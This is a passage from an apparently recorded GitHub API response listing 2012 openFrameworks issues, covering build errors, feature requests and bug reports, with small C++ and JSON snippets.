-framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":971079},"id":3807459,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799872,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799653,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":3795495,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3754055,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3710293,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3662214,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":808090},"id":3647640,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3631618,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3627067,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":3614231,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","comments":18,"milestone":null,"number":1055,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","assignee":null,"title":"ofVertexes?? ofCurveVertexes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-12T01:50:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3605277,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4940'), ('content-length', '44623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"7a7b635a35e21a9f69de7a09b9040837"'), ('date', 'Tue, 29 May 2012 19:27:12 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","assignee":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3596240,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1051,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3594731,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, 